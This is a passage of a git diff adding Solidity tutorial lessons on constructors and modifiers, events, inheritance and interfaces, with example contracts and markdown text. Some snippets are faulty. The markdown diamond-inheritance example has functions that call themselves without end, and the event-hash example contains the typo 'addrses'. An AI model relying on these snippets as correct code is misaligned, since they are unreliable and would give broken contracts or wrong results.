uint j=i; + while( (j >= 1) && (temp < a[j-1])){ + a[j] = a[j-1]; + j--; + } + a[j] = temp; + } + return(a); + } +``` + +Result: + + !["Input [2,5,3,1] Output[1,2,3,5]"](https://images.mirror-media.xyz/publication-images/S-i6rwCMeXoi8eNJ0fRdB.png?height=300&width=554) + +## Summary + +In this lecture, we introduced control flow in Solidity and wrote a simple but bug-prone sorting algorithm. Solidity looks simple but has many traps. Every month, projects get hacked and lose millions of dollars because of small bugs in the smart contract. To write a safe contract, we need to master the basics of Solidity and keep practising. diff --git a/SolidityBasics_Part1_Fundamentals/step11/Owner.sol b/SolidityBasics_Part1_Fundamentals/step11/Owner.sol new file mode 100644 index 000000000..217782129 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step11/Owner.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Owner { + address public owner; // define owner variable + + // constructor + constructor() { + owner = msg.sender; // set owner to the address of deployer when contract is being deployed + } + + // define modifier + modifier onlyOwner { + require(msg.sender == owner); // check whether caller is address of owner + _; // if true,continue to run the body of function;otherwise throw an error and revert transaction + } + + // define a function with onlyOwner modifier + function changeOwner(address _newOwner) external onlyOwner{ + owner = _newOwner; // only owner address can run this function and change owner + } +} \ No newline at end of file diff --git a/SolidityBasics_Part1_Fundamentals/step11/img/11-2_en.jpg b/SolidityBasics_Part1_Fundamentals/step11/img/11-2_en.jpg new file mode 100644 index 000000000..c09968110 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step11/img/11-2_en.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step11/img/11-3_en.jpg b/SolidityBasics_Part1_Fundamentals/step11/img/11-3_en.jpg new file mode 100644 index 000000000..6f9a89d58 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step11/img/11-3_en.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step11/img/11-4_en.jpg b/SolidityBasics_Part1_Fundamentals/step11/img/11-4_en.jpg new file mode 100644 index 000000000..b6c426c01 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step11/img/11-4_en.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step11/step1.md b/SolidityBasics_Part1_Fundamentals/step11/step1.md new file mode 100644 index 000000000..65670ea21 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step11/step1.md @@ -0,0 +1,84 @@ +--- +title: 11. constructor and modifier +tags: + - solidity + - basic + - wtfacademy + - constructor + - modifier +--- + +# WTF Solidity Tutorial: 11. Constructor & Modifier + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this section, we will introduce `constructor` and `modifier` in Solidity, using an access control contract (`Ownable`) as an example. + +## Constructor +`constructor` is a special function, which will automatically run once during contract deployment. Each contract can have one `constructor`. It can be used to initialize parameters of a contract, such as an `owner` address: + +```solidity + address owner; // define owner variable + + // constructor + constructor() { + owner = msg.sender; // set owner to the deployer address + } +``` + +**Note**: The syntax of the constructor in solidity is inconsistent for different versions: Before `solidity 0.4.22`, constructors did not use the `constructor` keyword. Instead, the constructor had the same name as the contract name. This old syntax is prone to mistakes: the developer may mistakenly name the contract as `Parents`, while the constructor as `parents`. So in `0.4.22` and later versions, the new `constructor` keyword is used. Example of constructor prior to `solidity 0.4.22`: + +```solidity +pragma solidity = 0.4.21; +contract Parents { + // The function with the same name as the contract name(Parents) is constructor + function Parents () public { + } +} +``` + +## Modifier +`modifier` is similar to `decorator` in object-oriented programming, which is used to declare dedicated properties of functions and reduce code redundancy. `modifier` is Iron Man Armor for functions: the function with `modifier` will have some magic properties. The popular use case of `modifier` is restricting access to functions. + + +![Iron Man's modifier](https://images.mirror-media.xyz/publication-images/nVwXsOVmrYu8rqvKKPMpg.jpg?height=630&width=1200) + +Let's define a modifier called `onlyOwner`, functions with it can only be called by `owner`: +```solidity + // define modifier + modifier onlyOwner { + require(msg.sender == owner); // check whether caller is address of owner + _; // execute the function body + } +``` + +Next, let us define a `changeOwner` function, which can change the `owner` of the contract. However, due to the `onlyOwner` modifier, only the original `owner` is able to call it. This is the most common way of access control in smart contracts. + +```solidity + function changeOwner(address _newOwner) external onlyOwner{ + owner = _newOwner; // only the owner address can run this function and change the owner + } +``` + +### OpenZeppelin's implementation of Ownable: +`OpenZeppelin` is an organization that maintains a standardized code base for `Solidity`, Their standard implementation of `Ownable` is in [this link](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol). + +## Remix Demo example +Here, we take `Owner.sol` as an example. +1. compile and deploy the code in Remix. +2. click the `owner` button to view the current owner. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/11_Modifier_en/step1/img/11-2_en.jpg) +3. The transaction succeeds when the `changeOwner` function is called by the owner address user. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/11_Modifier_en/step1/img/11-3_en.jpg) +4. The transaction fails when the `changeOwner` function is called by other addresses. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/11_Modifier_en/step1/img/11-4_en.jpg) + + +## Summary +In this lecture, we introduced `constructor` and `modifier` in Solidity, and wrote an `Ownable` contract that controls access of the contract. diff --git a/SolidityBasics_Part1_Fundamentals/step12/Event.sol b/SolidityBasics_Part1_Fundamentals/step12/Event.sol new file mode 100644 index 000000000..6906fec3d --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step12/Event.sol @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract Events { + // define _balances mapping variable to record number of tokens held at each address + mapping(address => uint256) public _balances; + + // define Transfer event to record transfer address, receiving address and transfer number of a transfer transfaction + event Transfer(address indexed from, address indexed to, uint256 value); + + + // define _transfer function,execute transfer logic + function _transfer( + address from, + address to, + uint256 amount + ) external { + + _balances[from] = 10000000; // give some initial tokens to transfer address + + _balances[from] -= amount; // "from" address minus the number of transfer + _balances[to] += amount; // "to" address adds the number of transfer + + // emit event + emit Transfer(from, to, amount); + } +} \ No newline at end of file diff --git a/SolidityBasics_Part1_Fundamentals/step12/img/12-1_en.jpg b/SolidityBasics_Part1_Fundamentals/step12/img/12-1_en.jpg new file mode 100644 index 000000000..89353592e Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step12/img/12-1_en.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step12/img/12-2_en.jpg b/SolidityBasics_Part1_Fundamentals/step12/img/12-2_en.jpg new file mode 100644 index 000000000..188602d9e Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step12/img/12-2_en.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step12/img/12-3.jpg b/SolidityBasics_Part1_Fundamentals/step12/img/12-3.jpg new file mode 100644 index 000000000..72d16edc6 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step12/img/12-3.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step12/step1.md b/SolidityBasics_Part1_Fundamentals/step12/step1.md new file mode 100644 index 000000000..89a8791a7 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step12/step1.md @@ -0,0 +1,105 @@ +--- +title: 12. Events +tags: + - solidity + - basic + - wtfacademy + - event +--- + +# WTF Solidity Tutorial: 12. Events + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this section, we introduce `event` in Solidity, using transfer events in ERC20 tokens as an example. + +## Events +The events in `solidity` are the transaction logs stored on the `EVM` (Ethereum Virtual Machine). They can be emitted during function calls and are accessible with the contract address. Events have two characteristics: + +- Responsive: Applications (e.g. [`ether.js`](https://learnblockchain.cn/docs/ethers.js/api-contract.html#id18)) can subscribe and listen to these events through `RPC` interface and respond at frontend. +- Economical: It is cheap to store data in events, costing about 2,000 `gas` each. In comparison, storing a new variable on-chain takes at least 20,000 `gas`. + +### Declare events +The events are declared with the `event` keyword, followed by the event name, and then the type and name of each parameter to be recorded. Let's take the `Transfer` event from the `ERC20` token contract as an example: +```solidity +event Transfer(address indexed from, address indexed to, uint256 value); +``` +`Transfer` event records three parameters: `from`,`to`, and `value`, which correspond to the address where the tokens are sent, the receiving address, and the number of tokens being transferred. Parameters `from` and `to` are marked with `indexed` keywords, which will be stored in a special data structure known as `topics` and easily queried by programs. + + +### Emit events + +We can emit events in functions. In the following example, each time the `_transfer()` function is called, `Transfer` events will be emitted and corresponding parameters will be recorded. +```solidity + // define _transfer function, execute transfer logic + function _transfer( + address from, + address to, + uint256 amount + ) external { + + _balances[from] = 10000000; // give some initial tokens to transfer address + + _balances[from] -= amount; // "from" address minus the number of transfer + _balances[to] += amount; // "to" address adds the number of transfer + + // emit event + emit Transfer(from, to, amount); + } +``` + +## EVM Log + +EVM uses `Log` to store Solidity events. Each log contains two parts: `topics` and `data`. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/12_Event_en/step1/img/12-3.jpg) + +### `Topics` + +`Topics` is used to describe events. Each event contains a maximum of 4 `topics`. Typically, the first `topic` is the event hash: the hash of the event signature. The event hash of the `Transfer` event is calculated as follows: + +```solidity +keccak256("Transfer(addrses,address,uint256)") + +//0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef +``` + +Besides event hash, `topics` can include 3 `indexed` parameters, such as the `from` and `to` parameters in the `Transfer` event. The anonymous event is special: it does not have an event name and can have 4 `indexed` parameters at maximum. + +`indexed` parameters can be understood as the indexed "key" for events, which can be easily queried by programs. The size of each `indexed` parameter is 32 bytes. For the parameters larger than 32 bytes, such as `array` and `string`, the hash of the underlying data is stored. + +### `Data` + +Non-indexed parameters will be stored in the `data` section of the log. They can be interpreted as the "value" of the event and can't be retrieved directly. But they can store data with larger sizes. Therefore, the `data` section can be used to store complex data structures, such as `array` and `string`. Moreover, `data` consumes less gas compared to `topic`. + +## Remix Demo +Let's take `Event.sol` contract as an example. + +1. Deploy the `Event` contract. + +2. Call `_transfer` function to emit `Transfer` event. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/12_Event_en/step1/img/12-1_en.jpg) + +3. Check transaction details to check the emitted event. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/12_Event_en/step1/img/12-2_en.jpg) + +### Query event on etherscan + +Etherscan is a block explorer that lets you view public data on transactions, smart contracts, and more on the Ethereum blockchain. First, I deployed the contract to an Ethereum testnet (Rinkeby or Goerli). Second, I called the `_transfer` function to transfer 100 tokens. After that, you can check the transaction details on `etherscan`:[URL](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7) + +Click `Logs` button to check the details of the event: + +![details of event](https://images.mirror-media.xyz/publication-images/gx6_wDMYEl8_Gc_JkTIKn.png?height=980&width=1772) + +There are 3 elements in `Topics`: `[0]` is the hash of the event, `[1]` and `[2]` are the `indexed` parameters defined in the `Transfer` event (`from` and `to`). The element in `Data` is the non-indexed parameter `amount`. + +## Summary +In this lecture, we introduced how to use and query events in `solidity`. Many on-chain analysis tools are based on solidity events, such as `Dune Analytics`. diff --git a/SolidityBasics_Part1_Fundamentals/step13/DiamondInheritance.sol b/SolidityBasics_Part1_Fundamentals/step13/DiamondInheritance.sol new file mode 100644 index 000000000..4e0b84a36 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step13/DiamondInheritance.sol @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +/* Inheritance tree: + God + / \ +Adam Eve + \ / +people +*/ + +contract God { + event Log(string message); + + function foo() public virtual { + emit Log("God.foo called"); + } + + function bar() public virtual { + emit Log("God.bar called"); + } +} + +contract Adam is God { + function foo() public virtual override { + emit Log("Adam.foo called"); + } + + function bar() public virtual override { + emit Log("Adam.bar called"); + super.bar(); + } +} + +contract Eve is God { + function foo() public virtual override { + emit Log("Eve.foo called"); + } + + function bar() public virtual override { + emit Log("Eve.bar called"); + super.bar(); + } +} + +contract people is Adam, Eve { + function foo() public override(Adam, Eve) { + super.foo(); + } + + function bar() public override(Adam, Eve) { + super.bar(); + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step13/Inheritance.sol b/SolidityBasics_Part1_Fundamentals/step13/Inheritance.sol new file mode 100644 index 000000000..129c62339 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step13/Inheritance.sol @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Inheritance contract +contract Grandfather { + event Log(string msg); + + // Apply inheritance to the following 3 functions: hip(), pop(), man(),then log "Grandfather". + function hip() public virtual{ + emit Log("Grandfather"); + } + + function pop() public virtual{ + emit Log("Grandfather"); + } + + function grandfather() public virtual { + emit Log("Grandfather"); + } +} + +contract Father is Grandfather{ + // Apply inheritance to the following 2 functions: hip() and pop(),then change the log value to "Father". + function hip() public virtual override{ + emit Log("Father"); + } + + function pop() public virtual override{ + emit Log("Father"); + } + + function father() public virtual{ + emit Log("Father"); + } +} + +contract Son is Grandfather, Father{ + // Define the following 2 functions: hip() and pop(),then change the output value to "Son"。 + function hip() public virtual override(Grandfather, Father){ + emit Log("Son"); + } + + function pop() public virtual override(Grandfather, Father) { + emit Log("Son"); + } + + function callParent() public{ + Grandfather.pop(); + } + + function callParentSuper() public{ + super.pop(); + } +} + +// Applying inheritance to the constructor functions +abstract contract A { + uint public a; + + constructor(uint _a) { + a = _a; + } +} + +contract B is A(1) { +} + +contract C is A { + constructor(uint _c) A(_c * _c) {} +} diff --git a/SolidityBasics_Part1_Fundamentals/step13/ModifierInheritance.sol b/SolidityBasics_Part1_Fundamentals/step13/ModifierInheritance.sol new file mode 100644 index 000000000..3da932d98 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step13/ModifierInheritance.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Base1 { + modifier exactDividedBy2And3(uint _a) virtual { + require(_a % 2 == 0 && _a % 3 == 0); + _; + } +} + +contract Identifier is Base1 { + + //Calculate the value of a number divided by 2 and divided by 3, respectively, but the parameters passed in must be multiples of 2 and 3 + function getExactDividedBy2And3(uint _dividend) public exactDividedBy2And3(_dividend) pure returns(uint, uint) { + return getExactDividedBy2And3WithoutModifier(_dividend); + } + + //Calculate the value of a number divided by 2 and divided by 3, respectively + function getExactDividedBy2And3WithoutModifier(uint _dividend) public pure returns(uint, uint){ + uint div2 = _dividend / 2; + uint div3 = _dividend / 3; + return (div2, div3); + } + + + // Rewrite the modifier: when not rewriting, enter 9 to call getExactDividedBy2And3, it will be reverted because it cannot pass the check + // Delete the following three lines of comments and rewrite the modifier function. At this time, enter 9 to call getExactDividedBy2And3, and the call will be successful. + // modifier exactDividedBy2And3(uint _a) override { + // _; + // } +} + diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-1.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-1.png new file mode 100644 index 000000000..b6cf09abc Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-10.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-10.png new file mode 100644 index 000000000..822ed5be1 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-10.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-2.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-2.png new file mode 100644 index 000000000..e854add28 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-3.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-3.png new file mode 100644 index 000000000..0c9e26f2b Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-4.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-4.png new file mode 100644 index 000000000..7aacb5236 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-4.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-5.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-5.png new file mode 100644 index 000000000..6ac0ca492 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-5.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-6.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-6.png new file mode 100644 index 000000000..15515ab68 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-6.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-7.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-7.png new file mode 100644 index 000000000..fbbd6e1fc Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-7.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-8.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-8.png new file mode 100644 index 000000000..3e84be26d Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-8.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/img/13-9.png b/SolidityBasics_Part1_Fundamentals/step13/img/13-9.png new file mode 100644 index 000000000..5a566a684 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step13/img/13-9.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step13/step1.md b/SolidityBasics_Part1_Fundamentals/step13/step1.md new file mode 100644 index 000000000..72607b0cc --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step13/step1.md @@ -0,0 +1,293 @@ +--- +title: 13. Inheritance +tags: + - solidity + - basic + - wtfacademy + - inheritance +--- + +# WTF Solidity Tutorial: 13. Inheritance + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this section, we introduce `inheritance` in Solidity, including simple inheritance, multiple inheritance, and inheritance of modifiers and constructors. + +## Inheritance +Inheritance is one of the core concepts in object-oriented programming, which can significantly reduce code redundancy. It is a mechanism where you can derive a class from another class for a hierarchy of classes that share a set of attributes and methods. In solidity, smart contracts can be viewed as objects, which support inheritance. + +### Rules + +There are two important keywords for inheritance in Solidity: + +- `virtual`: If the functions in the parent contract are expected to be overridden in its child contracts, they should be declared as `virtual`. + +- `override`:If the functions in the child contract override the functions in its parent contract, they should be declared as `override`. + +**Note 1**: If a function both overrides and is expected to be overridden, it should be labelled as `virtual override`. + +**Note 2**: If a `public` state variable is labelled as `override`, its `getter` function will be overridden. For example: + +```solidity +mapping(address => uint256) public override balanceOf; +``` + +### Simple inheritance + +Let's start by writing a simple `Grandfather` contract, which contains 1 `Log` event and 3 functions: `hip()`, `pop()`, `Grandfather()`, which outputs a string `"Grandfather"`. + +```solidity +contract Grandfather { + event Log(string msg); + + // Apply inheritance to the following 3 functions: hip(), pop(), man(),then log "Grandfather". + function hip() public virtual{ + emit Log("Grandfather"); + } + + function pop() public virtual{ + emit Log("Grandfather"); + } + + function Grandfather() public virtual { + emit Log("Grandfather"); + } +} +``` + +Let's define another contract called `Father`, which inherits the `Grandfather` contract. The syntax for inheritance is `contract Father is Grandfather`, which is very intuitive. In the `Father` contract, we rewrote the functions `hip()` and `pop()` with the `override` keyword, changing their output to `"Father"`. We also added a new function called `father`, which outputs a string `"Father"`. + + +```solidity +contract Father is Grandfather{ + // Apply inheritance to the following 2 functions: hip() and pop(), then change the log value to "Father". + function hip() public virtual override{ + emit Log("Father"); + } + + function pop() public virtual override{ + emit Log("Father"); + } + + function father() public virtual{ + emit Log("Father"); + } +} +``` + +After deploying the contract, we can see that `Father` contract contains 4 functions. The outputs of `hip()` and `pop()` are successfully rewritten with output `"Father"`, while the output of the inherited `grandfather()` function is still `"Grandfather"`. + + +### Multiple inheritance + +A solidity contract can inherit multiple contracts. The rules are: + +1. For multiple inheritance, parent contracts should be ordered by seniority, from the highest to the lowest. For example: `contract Son is Grandfather, Father`. A error will be thrown if the order is not correct. + +2. If a function exists in multiple parent contracts, it must be overridden in the child contract, otherwise an error will occur. + +3. When a function exists in multiple parent contracts, you need to put all parent contract names after the `override` keyword. For example: `override(Grandfather, Father)`. + +Example: +```solidity +contract Son is Grandfather, Father{ + // Apply inheritance to the following 2 functions: hip() and pop(), then change the log value to "Son". + function hip() public virtual override(Grandfather, Father){ + emit Log("Son"); + } + + function pop() public virtual override(Grandfather, Father) { + emit Log("Son"); + } +``` + +After deploying the contract, we can see that we successfully rewrote the `hip()` and `pop()` functions in the `Son` contract, changing the output to `"Son"`. While the `Grandfather()` and `father()` functions inherited from its parent contracts remain unchanged. + +### Inheritance of modifiers + +Likewise, modifiers in Solidity can be inherited as well. Rules for modifier inheritance are similar to the function inheritance, using the `virtual` and `override` keywords. + +```solidity +contract Base1 { + modifier exactDividedBy2And3(uint _a) virtual { + require(_a % 2 == 0 && _a % 3 == 0); + _; + } +} + +contract Identifier is Base1 { + // Calculate _dividend/2 and _dividend/3, but the _dividend must be a multiple of 2 and 3 + function getExactDividedBy2And3(uint _dividend) public exactDividedBy2And3(_dividend) pure returns(uint, uint) { + return getExactDividedBy2And3WithoutModifier(_dividend); + } + + // Calculate _dividend/2 and _dividend/3 + function getExactDividedBy2And3WithoutModifier(uint _dividend) public pure returns(uint, uint){ + uint div2 = _dividend / 2; + uint div3 = _dividend / 3; + return (div2, div3); + } +} +``` + +`Identifier` contract can directly use the `exactDividedBy2And3` modifier because it inherits the `Base1` contract. We can also rewrite the modifier in the contract: + +```solidity + modifier exactDividedBy2And3(uint _a) override { + _; + require(_a % 2 == 0 && _a % 3 == 0); + } +``` + +### Inheritance of constructors + +Constructors can also be inherited. Let first consider a parent contract `A` with a state variable `a`, which is initialized in its constructor: + +```solidity +// Applying inheritance to the constructor functions +abstract contract A { + uint public a; + + constructor(uint _a) { + a = _a; + } +} +``` + +There are two ways for a child contract to inherit the constructor from its parent `A`: +1. Declare the parameters of the parent constructor at inheritance: + + ```solidity + contract B is A(1){} + ``` + +2. Declare the parameter of the parent constructor in the constructor of the child contract: + + ```solidity + contract C is A { + constructor(uint _c) A(_c * _c) {} + } + ``` + +### Calling the functions from the parent contracts + +There are two ways for a child contract to call the functions of the parent contract: + +1. Direct calling:The child contract can directly call the parent's function with `parentContractName.functionName()`. For example: + + ```solidity + function callParent() public{ + Grandfather.pop(); + } + ``` + +2. `super` keyword:The child contract can use the `super.functionName()` to call the function in the neareast parent contract in the inheritance hierarchy. Solidity inheritance is declared in a right-to-left order: for `contract Son is Grandfather, Father`, the `Father` contract is closer than the `Grandfather` contract. Thus, `super.pop()` in the `Son` contract will call `Father.pop()` but not `Grandfather.pop()`. + + ```solidity + function callParentSuper() public{ + // call the function one level higher up in the inheritance hierarchy + super.pop(); + } + ``` + +### Diamond inheritance + +In Object-Oriented Programming, diamond inheritance refers to the scenario in which a derived class has two or more base classes. + +When using the `super` keyword on a diamond inheritance chain, it should be noted that it will call the relevant function of each contract in the inheritance chain, not just the nearest parent contract. + +First, we write a base contract called `God`. Then we write two contracts `Adam` and `Eve` inheriting from the `God` contract. Lastly, we write another contract `people` inheriting from `Adam` and `Eve`. Each contract has two functions, `foo()` and `bar()`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +/* Inheritance tree visualized: + God + / \ +Adam Eve + \ / +people +*/ +contract God { + event Log(string message); + function foo() public virtual { + emit Log("God.foo called"); + } + function bar() public virtual { + emit Log("God.bar called"); + } +} +contract Adam is God { + function foo() public virtual override { + emit Log("Adam.foo called"); + Adam.foo(); + } + function bar() public virtual override { + emit Log("Adam.bar called"); + super.bar(); + } +} +contract Eve is God { + function foo() public virtual override { + emit Log("Eve.foo called"); + Eve.foo(); + } + function bar() public virtual override { + emit Log("Eve.bar called"); + super.bar(); + } +} +contract people is Adam, Eve { + function foo() public override(Adam, Eve) { + super.foo(); + } + function bar() public override(Adam, Eve) { + super.bar(); + } +} +``` + +In this example, calling the `super.bar()` function in the `people` contract will call the `Eve`, `Adam`, and `God` contract's `bar()` function, which is different from ordinary multiple inheritance. + +Although `Eve` and `Adam` are both child contracts of the `God` parent contract, the `God` contract will only be called once in the whole process. This is because Solidity borrows the paradigm from Python, forcing a DAG (directed acyclic graph) composed of base classes to guarantee a specific order based on C3 Linearization. For more information on inheritance and linearization, read the official [Solidity docs here](https://docs.soliditylang.org/en/v0.8.17/contracts.html#multiple-inheritance-and-linearization). + +## Verify on Remix +1. After deploying example contract in Simple Inheritance session, we can see that the `Father` contract has `Grandfather` functions: + + ![13-1](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-1.png) + + ![13-2](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-2.png) + +2. Modifier inheritance examples: + + ![13-3](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-3.png) + + ![13-4](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-4.png) + + ![13-5](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-5.png) + +3. Inheritance of constructors: + + ![13-6](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-6.png) + + ![13-7](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-7.png) + +4. Calling the functions from parent contracts: + + ![13-8](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-8.png) + + ![13-9](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-9.png) + +5. Diamond inheritance: + + ![13-10](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/13_Inheritance_en/step1/img/13-10.png) + +## Summary +In this tutorial, we introduced the basic uses of inheritance in Solidity, including simple inheritance, multiple inheritance, inheritance of modifiers and constructors, and calling functions from parent contracts. diff --git a/SolidityBasics_Part1_Fundamentals/step14/AbstractDemo.sol b/SolidityBasics_Part1_Fundamentals/step14/AbstractDemo.sol new file mode 100644 index 000000000..98cda59c8 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step14/AbstractDemo.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +abstract contract Base{ + string public name = "Base"; + function getAlias() public pure virtual returns(string memory); +} + +contract BaseImpl is Base{ + function getAlias() public pure override returns(string memory){ + return "BaseImpl"; + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step14/Interface.sol b/SolidityBasics_Part1_Fundamentals/step14/Interface.sol new file mode 100644 index 000000000..04135bf76 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step14/Interface.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +abstract contract InsertionSort{ + function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); +} + +import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; + +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom(address from, address to, uint256 tokenId) external; + + function transferFrom(address from, address to, uint256 tokenId) external; + + function approve(address to, uint256 tokenId) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function setApprovalForAll(address operator, bool _approved) external; + + function isApprovedForAll(address owner, address operator) external view returns (bool); + + function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; +} + +contract interactBAYC { + // Use BAYC address to create interface contract variables (ETH Mainnet) + IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); + + // Call BAYC's balanceOf() to query the open interest through the interface + function balanceOfBAYC(address owner) external view returns (uint256 balance){ + return BAYC.balanceOf(owner); + } + + // Safe transfer by calling BAYC's safeTransferFrom() through the interface + function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{ + BAYC.safeTransferFrom(from, to, tokenId); + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step14/InterfaceDemo.sol b/SolidityBasics_Part1_Fundamentals/step14/InterfaceDemo.sol new file mode 100644 index 000000000..5ce97d21d --- /dev/null +++ 